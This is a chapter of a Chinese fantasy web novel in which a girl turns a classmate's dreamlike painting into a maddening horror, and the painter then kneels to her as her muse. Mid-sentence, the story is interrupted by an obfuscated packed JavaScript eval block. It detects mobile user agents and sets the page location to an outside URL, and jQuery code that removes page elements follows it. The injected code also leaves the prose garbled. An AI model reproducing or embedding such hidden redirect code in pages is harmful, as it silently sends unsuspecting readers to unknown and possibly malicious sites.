社团招新广场上那股足以扭曲空间的恐怖威压来得快,去得也快。
当芙洛拉收回那团足以让任何资深魔法师都心惊胆战的纯粹灵光时,周围被压制得近乎凝固的空气才重新开始流动。但那种无形的恐惧,却像烙印一样刻在了每一个感知到它的人的心里。刚刚还喧闹得如同菜市场的广场,此刻陷入了一种诡异的、连呼吸声都听得见的死寂。所有人的目光,无论是出于好奇、敬畏还是纯粹的恐惧,都像被磁石吸引的铁屑,死死地聚焦在这个被梧桐树荫笼罩的角落,聚焦在那个漂亮得不像话的、脸上还带着天真笑容的青蓝色头发少女身上。
艾丹感觉自己的心脏都快要从喉咙里跳出来了。他僵硬地转过头,看着那个因为痛苦和绝望而泪流满面,此刻却因为极致的震惊而忘记了哭泣的黑发少女。
伊芙琳·斯特林,这位天才的灵光画者,正用一种看待神明或恶魔般的眼神,死死地盯着芙洛拉。她那双美丽的蓝色眼眸里,清晰地倒映着芙洛拉天真无邪的笑脸,瞳孔深处却掀起了滔天巨浪,仿佛平静的湖面下,有远古的巨兽正在苏醒。
“要……要帮我吗?”伊芙琳的声音带着一丝自己都未察觉的颤抖,她似乎是在寻求确认,又像是在绝望深渊中抓到了一根蛛丝后的梦呓。
“对呀!”芙洛拉理所当然地点了点头,仿佛刚才那个差点引发集体恐慌的举动,只是在展示自己可爱的玩偶,“你的画不好看,就是因为力气不够大!只要把足够多的‘感觉’塞进去,它就会变得很‘真实’了!”
这种孩童般的、充满了谬误却又直指本质的逻辑,让艾丹的大脑一阵阵发晕。他想开口反驳,告诉芙洛拉艺术创作不是简单的能量堆砌,更不是往气球里灌水比谁灌得多,但话到嘴边,却又被一种更强烈的无力感堵了回去。
因为他看到,伊芙琳竟然……真的在认真思考芙洛拉的话。
她的眼神不再是空洞的悲伤,而是在迷茫中透出了一丝光亮。
“力气……不够大?”她喃喃自语,仿佛在品味一个深奥的哲学命题,那双蓝色的眼眸中,燃起了一点微弱但执着的希冀。
“来吧!”芙洛拉显然不耐烦于这种枯燥的理论探讨,她一把抓住伊芙琳冰凉的手腕,另一只手依旧像拎着购物袋一样,牢牢地钳制着试图在人群中隐形、然后趁机溜走的艾丹,“带我们去你的画室!我给你现场表演一下什么叫‘大力出奇迹’!”
‘不!我不要去看什么现场表演!我只想回我那布满陷阱但至少看起来还算正常的宿舍!放开我!我只是个路过的无辜学生!我跟她们不是一伙的!’艾丹在心中发出了无声的呐喊,并试图用眼神向周围同样目瞪口呆的同学们传递这个重要的信息。
然而,并没有人接收到他的求救信号。在全广场学生那混杂了敬畏、恐惧与“看,那个倒霉蛋又被缠上了”的复杂目光中,伊芙琳几乎是被半拖半拽地,带着这三个不速之客,离开了自己那冷清的摊位,向着艺术社团所在的教学楼走去。
艾丹感觉自己像是在走向一个无法预测的刑场。他每走一步,内心的不祥预感就加重一分。他知道,一场可能比新生欢迎仪式上的“烟花秀”更加离谱、更加难以收场的灾难,即将在自己眼前上演。
—————
灵光画社的活动室位于学院艺术大楼的顶层,占据了整整半个楼层。巨大的落地窗将午后温暖的阳光毫无保留地迎了进来,照亮了空气中悠然飞舞的金色微尘。画室里很安静,四处散落着画架、画布、以及各种带着灵光气息的颜料瓶罐。空气中弥漫着松节油和某种特殊植物染料混合的、略带一丝甜意的味道。
这是一个充满了艺术气息与宁静氛围的地方,是创作者们的天堂。
然而,这片宁静很快就将被彻底粉碎。
“就是这里……”伊芙琳的声音有些虚弱,她带着三人穿过摆放着各种画作和雕塑的公共区域,来到了一间独立的、显然是她个人专属的画室门前。
她深吸一口气,像是下定了某种决心,推开门,走了进去。
画室的最中央,立着一个巨大的画架,上面覆盖着一块防止灰尘的白色绒布。伊芙琳走到画架前,停顿了许久,她的手抬起又放下,仿佛那块绒布有千斤重。最后,她像是下定了某种决心,用微微颤抖的手,猛地一下揭开了那块绒布。
一幅尚未完成的巨幅画作,展现在众人面前。
艾丹不由得倒吸了一口冷气。
那是一幅极其唯美的画。画的名字叫做《沉睡的梦境花园》。画面上,一座宁静的庭院在朦胧的月光下静静地沉睡着。无数叫不出名字的奇异花朵竞相开放,每一片花瓣都仿佛由月光本身构成,散发着柔和圣洁的辉光。色彩斑斓的蝴蝶停留在花蕊之上,翅膀上的鳞粉在微风中闪闪发光,仿佛揉碎的星辰。庭院的中央,一座由白玉雕琢而成的喷泉,正向上喷涌出晶莹剔透的水珠,每一颗水珠都折射出七彩的光芒,将周围的一切都染上了一层梦幻的色彩。
整个画面,精致、细腻、梦幻,美得让人窒息。艾丹甚至能感觉到,那股被精心编织过的、平和而安宁的灵光能量,正从画布上缓缓流淌出来,让人心神宁静,仿佛真的置身于一个没有烦恼的甜美梦境之中。
这是一幅无可挑剔的杰作,艾丹贫乏的艺术词汇库里,只能找出“完美”这个词来形容。
然而,作为这幅画的创作者,伊芙琳的脸上却写满了痛苦与不甘。
“就是这里……”她伸出纤细的手指,指向画面中央那座最华美、也最精致的喷泉,声音里带着一丝绝望的哽咽,“我能感觉到,在我的梦里,这座喷泉的深处,隐藏着一种……一种更强大的东西。它才是整个梦境的核心,是那种能触动灵魂的、最原始的悸动。可是……我画不出来。”
她痛苦地闭上眼睛,那双美丽的蓝色眼眸中,刚刚才止住的泪水再次无声地滑落。
“无论我用多么完美的技巧,无论我注入多少灵光,我画出的永远只是这个美丽但死气沉沉的空壳。它……没有灵魂。”
艾丹看着她悲伤的侧脸,一时间竟不知道该如何安慰。他能理解那种无力感,那种眼睁睁看着目标就在眼前,却无论如何也无法触及的绝望。这就像他的人生,他眼睁睁地看着“平静”两个字就在不远处向他招手,但他身边总有两个会爆炸的太阳,把那两个字炸得粉碎。
“小事一桩嘛!”
芙洛拉那充满活力的声音,如同在葬礼上响起的进行曲,瞬间打破了这伤感的氛围。她兴冲冲地跑到画前,像个准备在沙滩上堆城堡的孩子,用力地搓了搓手,脸上洋溢着艾丹最熟悉也最恐惧的那种“我有一个绝妙的好主意”的表情。
“不就是把里面的东西挖出来吗?这个我最擅长了!”
‘不!这不一样!绝对不一样!’艾丹的内心警铃大作,他几乎是瞬间就联想到了芙洛拉为了“挖出”鸡蛋黄而直接引爆整颗鸡蛋的光辉事迹。
“等等!芙洛拉,你别乱来!”他终于被同情心裹挟着,一个箭步冲上前,试图用自己瘦弱的身躯挡在画作和这个人形自走破坏兵器之间,“这是艺术品!是心血结晶!不是让你拆着玩的积木!更不是让你做实验的鸡蛋!”
然而,一只手却如影随形地、不轻不重地搭在了他的肩膀上,让他无法再前进分毫。那只手明明看起来那么纤细,力道却大得惊人,仿佛焊在了他的肩胛骨上。
是弗洛林。
他依旧微笑着,那双金色的眼眸里看不出任何情绪,只有纯粹的、如同观看戏剧开幕般的兴致。他的声音轻柔得如同恶魔的低语,却又带着不容置喙的劝诫意味:“别担心,艾丹同学。艺术家在创作时,是不应该被打扰的。姐姐她……只是在为这幅画进行最后的‘润色’而已。”
‘润色?是用炸药爆破的那种润色吗?!’艾丹感觉自己的肩膀快要被捏碎了,他只能眼睁睁地看着,看着灾难的降临。
就在这短暂的阻拦间,芙洛拉已经将她那只纤细白皙的的手,轻轻地按在了《沉睡的梦境花园》的画布上。
她闭上了眼睛,脸上露出孩子般专注而愉悦的表情,仿佛在触摸什么柔软可爱的小动物。
然后,艾丹感觉到了。
不,是整个艺术大楼都感觉到了。
一股风暴,一股由最原始、最纯粹、最混乱的灵光能量构成的风暴,以芙洛拉的手掌为中心,毫无保留地、野蛮地,如同决堤的洪水找到了宣泄口,疯狂地灌入了那幅画中!
整个画室的灵光都被这股蛮横的力量瞬间搅动、抽空、然后又被更狂暴的能量填满。空气中发出了细微的、如同玻璃碎裂般的“噼啪”声。墙角堆放的那些普通画作,上面的灵光颜料甚至开始不安地颤动、溶解、滴落,仿佛在恐惧中融化。
而那幅巨大的《沉睡的梦境花园》,开始发出不祥的、越来越炽烈的金色光芒。那光芒不再柔和,而是充满了侵略性,刺眼得让人无法直视。
异变陡生。
光芒之中,画布上那唯美的画面,开始了令人头皮发麻的扭曲与变形。
首先是那些静谧美好的花朵。它们那由月光构成的娇嫩花瓣,开始像有了自己的生命一样,疯狂地增殖、卷曲,如同沸水中翻滚的肉片。紧接着,从它们那圣洁的花蕊深处,猛地睁开了一只只布满了血丝的、充满了恶意的、转动着的独眼。花瓣的边缘伸出了锋利的、闪烁着金属寒光的利齿,它们不再静静地开放,而是像一群饥饿的食人鱼,疯狂地撕咬着身边的同伴,将那些破碎的、还在闪烁着圣洁光芒的花瓣和枝叶吞入腹中,发出令人牙酸的咀嚼声。
然后是那些在花丛间翩翩起舞的蝴蝶。它们那美丽的、色彩斑斓的翅膀,如同被无形的火焰灼烧般迅速剥落、碳化,露出了下面由森森白骨与腐烂的半透明薄膜构成的、畸形的骨翼。它们不再飞舞,而是在空中发出无声的、但能直击灵魂深处的尖锐嘶鸣,如同盘旋在战场上空的秃鹫,追逐着、捕食着那些还在挣扎的、长着眼睛的花朵,用骨翼的边缘将它们切成碎片。
最可怕的变化,发生在画面的中央。
那座由白玉雕琢而成的、本应喷涌出圣洁泉水的喷泉,开始剧烈地颤抖。光滑的白玉表面,浮现出无数扭曲的、痛苦的人脸浮雕,它们无声地张着嘴,仿佛在哀嚎,在求救,在诅咒。而喷泉的顶端,涌出的不再是晶莹的水珠,而是一种粘稠的、翻滚着无数气泡的、如同沥青般深不见底的黑暗!
那黑暗仿佛有生命,它贪婪地向四周蔓延,所过之处,无论是长着眼睛的花,还是骸骨构成的蝶,都被它无情地吞噬、同化,变成了这片黑暗的一部分。偶尔有几张痛苦的人脸从黑暗中浮现,又很快被更多的黑暗所淹没。
唯美梦幻的《沉睡的梦境花园》,在短短十几秒内,彻底堕落成了不可名状的、充满了疯狂与混沌的深渊狂欢。
整个画中世界仿佛活了过来,它不再宁静,而是在疯狂地、无声地尖啸着,嘶吼着,向画外的世界散发着浓烈的、足以逼疯任何正常人的精神污染!
“啊——!!!”
一股强大到无法抗拒的精神冲击,如同海啸般从画中猛地扩散开来!
画室里,原本还在好奇围观的几位灵光画社的高年级社员,他们是伊芙琳的崇拜者,刚才还凑过来看热闹。此刻,他们只是看了一眼那异变的画作,就瞬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513533|186190||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间发出了凄厉到不似人声的惨叫。他们脸色惨白,双目圆睁,眼球里布满了血丝,仿佛看到了世界上最恐怖的景象。一个女生当场尖叫着跑了出去,一边跑一边撕扯着自己的头发。另一个男生则浑身剧烈地抽搐着瘫倒在地,口吐白沫,嘴里开始不停地念叨着一些毫无逻辑的、疯狂的词语:“眼……眼睛……它们在转……都在看我……”
画室外的走廊上,几个被这里的动静吸引过来的路人学生,也仅仅是透过门缝向里瞥了一眼,便如同被无形的重锤狠狠击中,纷纷软倒在地,陷入昏迷。
艾丹感觉自己的脑袋像是要被活生生撕裂开来。无数疯狂的、恶毒的、充满了亵渎意味的呓语,如同数万根烧红的钢针,狠狠地刺入他的大脑皮层。眼前的景象开始扭曲、旋转,墙壁和天花板都仿佛变成了蠕动的、布满血管的血肉,地板则变成了粘稠的沼泽,要将他拖入深渊。
“……在沉睡的城邦中……”
“……那不可名状者……等待着……”
“……群星归位之时……深渊凝视人间……”
他死死地咬着牙,舌尖尝到了浓郁的铁锈般的血腥味。靠着这段时间在双子的轮番精神与物理折磨中磨练出的、钢铁般的意志力,他强行稳住心神,驱散那些疯狂的呓语,没有像其他人一样当场崩溃。但他浑身已经被冷汗湿透,脸色惨白得像一张刚从水里捞出来的纸,只能死死地扶着墙壁,才勉强没有像一滩烂泥一样滑下去。
‘芙洛拉……她到底往画里塞了什么鬼东西?!那是她的脑子吗?!她把自己的脑子塞进去了吗?!’艾丹的吐槽欲在极致的恐惧中,迸发出了顽强的生命力。
他用尽全身力气,艰难地转过头,看向那场灾难的中心。
在一片鬼哭狼嚎、鸡飞狗跳的混乱中,唯有两个人,显得格格不入。
弗洛林依旧站在原地,他按着艾丹肩膀的手不知何时已经松开。他脸上带着欣赏杰作诞生般的、饶有兴致的微笑,甚至还从口袋里掏出一方洁白的手帕,优雅地擦了擦被精神冲击溅到脸颊上的一点“不存在的灰尘”,然后满意地点了点头:“嗯,色彩的饱和度恰到好处,混沌元素的构图也很有张力。姐姐的审美,一如既往地稳定。”
而伊芙琳·斯特林,则呆呆地站在那幅已经可以被称为“大规模精神杀伤性武器”的画作前,一动不动。
她没有尖叫,没有崩溃,甚至连一丝恐惧的表情都没有。
艾丹的心猛地一沉,完了,她是不是被这股精神冲击……直接冲傻了?
然而,当他看清伊芙琳的眼神时,他愣住了。
那双美丽的蓝色眼眸里,清晰地倒映着画布上那片群魔乱舞的疯狂景象。她的瞳孔深处,最开始是极致的恐惧,是灵魂被撼动的战栗。但紧接着,那恐惧和战栗,却如同最高纯度的魔力燃料一般,点燃了一团前所未有的、无比炽热的火焰!
是兴奋!是狂热!是艺术家终于窥见真理时的……顿悟!
“……是这个……”
伊芙琳的嘴唇微微颤抖着,发出了梦呓般的、带着哭腔,却又无比亢奋的低语。
“就是这个……这极致的恐怖……这触手可及的疯狂……这无法用语言描述的、能撕裂灵魂的混沌……”
她伸出手,指尖在空中颤抖,仿佛想要触摸画中那粘稠的黑暗,又仿佛想要拥抱这足以让世人癫狂的景象。
“这才是……这才是梦境最深处的……那份被我遗忘的‘真实’啊!”
她仿佛看到了一个全新的、广阔无垠的艺术世界,向她敞开了大门。那个世界里没有虚假的唯美,没有苍白的梦幻,只有最纯粹的、最深刻的、能撼动一切灵魂的恐惧与疯狂。
那才是艺术的终极!那才是她一直在追寻,却被自己那可笑的、狭隘的审美所束缚的真正宝藏!
在一片混乱的背景音中,伊芙琳猛地转过身,那双还挂着泪珠,此刻却亮得吓人、仿佛有星辰在其中燃烧的眼睛,死死地锁定了正歪着头、一脸“搞定收工”表情的芙洛拉。
她的脸上,带着一种近乎狂热的、无比虔诚的、仿佛信徒见到了降临人间的神祇般的崇拜。
在艾丹和弗洛林错愕的目光中,在趴在芙洛拉头顶、已经彻底呆住的发光猫咪小透明的注视下,这位天才的、内向的、忧郁的美少女灵光画者,激动地冲上前,一把抓住了芙洛拉的手。
然后,她以一种无比庄重的姿态,单膝跪地。
她的声音因为极致的激动而颤抖,却又无比的清晰、洪亮,响彻了整个混乱的画室。
“请……请务必指导我!”
她抬起头,仰望着芙洛拉,那双蓝色的眼眸里闪烁着前所未有的光芒。
“您就是我的……我的缪斯啊!!”
趴在芙洛拉头顶的小透明,那半透明的猫脸上,露出了一个极其人性化的、目瞪口呆的表情。它看着眼前这堪比邪教发展核心信徒的现场,看着那个跪在地上、眼神狂热的少女,又看了看旁边那些还在抽搐和念叨“眼睛”的倒霉蛋,整个猫都傻了。
它的逻辑回路,在一瞬间被烧断了。
这……这不对劲啊……
系统发布的任务明明是【帮助艾丹与天才少女伊芙琳建立良好关系】,剧本应该是艾丹用他那虽然嘴笨但善良的内心,温暖伊芙琳冰封的世界,两人在艺术与理想的交流中成为知己……
可现在这算什么?
艾丹全程被当成挂件,除了贡献吐槽和差点被精神污染成白痴外,什么都没干。而伊芙琳,她不是被治愈了,她是……从忧郁少女直接进化成了狂信徒啊!
这、这能算任务成功吗?!